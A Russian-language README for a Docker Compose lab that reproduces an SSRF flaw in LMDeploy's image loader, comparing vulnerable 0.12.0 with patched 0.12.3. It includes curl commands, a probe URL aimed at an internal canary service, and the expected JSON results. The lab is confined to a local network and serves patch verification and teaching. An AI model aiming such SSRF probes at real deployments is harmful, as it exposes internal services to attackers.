
Docker Compose лаборатория, воспроизводящая SSRF CVE-2026-33626 в загрузчике изображений для vision-language от LMDeploy. Сравнивает поведение уязвимой (0.12.0) и исправленной (0.12.3) версий с помощью PoC-скрипта и внутреннего канареечного сервиса.
Этот репозиторий воспроизводит CVE-2026-33626 – уязвимость подделки серверных запросов (SSRF) в пути загрузки изображений для vision-language в LMDeploy.
Уязвимое поведение возникает, когда LMDeploy получает URL изображения, а серверный загрузчик изображений загружает этот URL, не блокируя должным образом внутренние, частные, loopback или link-local адреса.
Эта лаборатория сравнивает:
| Сервис | Версия | Назначение |
|---|---|---|
vuln | LMDeploy 0.12.0 | Демонстрирует уязвимое поведение |
patched | LMDeploy 0.12.3 | Демонстрирует исправленное поведение |
internal | Локальный сервис-канарейка | Имитирует внутренний ресурс, доступный только внутри сети Docker |
Лаборатория предназначена для локального запуска с помощью Docker Compose и не обращается к метаданным облачных конечных точек или внешним целям.
LMDeploy поддерживает рабочие процессы vision-language, где изображение может загружаться из URL, предоставленного пользователем. В уязвимых версиях код загрузки изображений может загружать URL, которые разрешаются во внутренние/частные сетевые адреса.
Это может позволить атакующему, имеющему доступ к конечной точке LMDeploy, заставить сервер обращаться к внутренним ресурсам, таким как:
В этой лаборатории внутренняя цель намеренно безвредна:
http://internal:9000/private.png
URL существует только внутри сети Docker Compose.
PoC-скрипт
|
| отправляет URL изображения
v
vuln / patched сервис
|
| вызывает lmdeploy.vl.load_image(url)
v
внутренний сервис-канарейка
Лаборатория не запускает полноценный сервер инференции VLM. Вместо этого она изолирует уязвимый примитив загрузки изображений LMDeploy, вызывая:
from lmdeploy.vl import load_image
load_image(url)
Это делает воспроизведение лёгким и детерминированным, одновременно демонстрируя поведение безопасности, которое было исправлено.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
Внутри сети Docker внутренняя канарейка доступна по адресу:
http://internal:9000/private.png
На Apple Silicon сервисы vuln и patched работают как linux/amd64, поскольку используемый в этой лаборатории wheel LMDeploy ориентирован на x86_64.
Соберите и запустите сервисы:
docker compose up -d --build
Проверьте статус контейнеров:
docker compose ps
Ожидаемый статус:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Ожидаемый вывод:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Создайте виртуальное окружение и установите зависимости:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Запустите PoC:
python poc/poc.py
Цель SSRF по умолчанию:
http://internal:9000/private.png
Эта цель доступна из контейнеров Docker, но не из публичного интернета.
Уязвимый сервис должен успешно загрузить изображение внутренней канарейки:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
Это подтверждает, что LMDeploy 0.12.0 совершил серверный запрос к внутреннему сервису Docker.
Исправленный сервис должен заблокировать тот же URL до того, как будет достигнут внутренний сервис:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
Это подтверждает, что LMDeploy 0.12.3 блокирует URL, разрешающиеся в неглобальные/внутренние IP-адреса.
Итоговое ожидаемое резюме:
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
Сбросьте внутреннюю канарейку:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Протестируйте уязвимый сервис:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Ожидается: /hits содержит один запрос.
Протестируйте исправленный сервис:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Ожидается: /hits остаётся пустым.
PoC не запрашивает внутренний сервис напрямую от имени атакующего.
Вместо этого PoC отправляет внутренний URL в LMDeploy. Если LMDeploy загружает этот URL из сети контейнера, внутренняя канарейка записывает запрос.
Это поведение доказывает примитив SSRF:
URL под контролем атакующего
↓
Серверный загрузчик изображений LMDeploy
↓
запрос к внутреннему сетевому ресурсу
Исправленная версия предотвращает это, отвергая URL, которые разрешаются в неглобальные IP-адреса.
docker compose down -v
GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Коммит с исправлением: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Анализ Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
| Сервис | URL хоста | Порт контейнера | Описание |
|---|
vuln | http://127.0.0.1:8081 | 8000 | Обёртка LMDeploy 0.12.0 |
patched | http://127.0.0.1:8082 | 8000 | Обёртка LMDeploy 0.12.3 |
internal | http://127.0.0.1:8090 | 9000 | Внутренний сервис-канарейка |